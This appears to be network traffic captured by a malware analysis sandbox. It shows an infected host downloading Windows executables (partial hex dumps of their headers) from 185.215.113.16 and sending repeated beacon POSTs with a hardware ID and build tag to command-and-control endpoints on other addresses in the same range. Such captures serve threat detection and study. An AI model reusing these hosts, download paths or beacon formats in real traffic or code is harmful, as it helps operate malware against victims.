Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:51:56 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:52:55 GMTContent-Type: application/octet-streamContent-Length: 1925632Last-Modified: Wed, 23 Oct 2024 15:37:20 GMTConnection: keep-aliveETag: "67191830-1d6200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 50 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4c 00 00 04 00 00 5c be 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 37 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 36 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 6f 69 6f 79 7a 67 74 00 50 1a 00 00 f0 31 00 00 48 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 61 63 6a 64 71 69 75 00 10 00 00 00 40 4c 00 00 04 00 00 00 3c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4c 00 00 22 00 00 00 40 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:52:57 GMTContent-Type: application/octet-streamContent-Length: 1833984Last-Modified: Wed, 23 Oct 2024 15:37:13 GMTConnection: keep-aliveETag: "67191829-1bfc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 61 64 67 76 74 6a 71 00 a0 19 00 00 a0 4f 00 00 9a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 76 71 6a 6f 71 6d 00 10 00 00 00 40 69 00 00 04 00 00 00 d6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 69 00 00 22 00 00 00 da 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 15:52:59 GMTContent-Type: application/octet-streamContent-Length: 2817536Last-Modified: Wed, 23 Oct 2024 15:44:06 GMTConnection: keep-aliveETag: "671919c6-2afe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 de 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 73 64 6a 77 61 6c 69 00 a0 2a 00 00 a0 00 00 00 9e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 75 72 6e 6d 63 78 63 00 20 00 00 00 40 2b 00 00 04 00 00 00 d8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 dc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="build"doma------IIJEBAECGCBKECAAAEBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000992001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000993001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="build"doma------EBAEBFIIECBGCBGDHCAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000994001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 42 46 42 41 41 4b 45 43 46 49 45 42 46 49 45 43 2d 2d 0d 0a Data Ascii: ------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------BAAFBFBAAKECFIEBFIECContent-Disposition: form-data; name="build"doma------BAAFBFBAAKECFIEBFIEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000995001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="build"doma------JJJKFBAAAFHJEBFIEGID--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
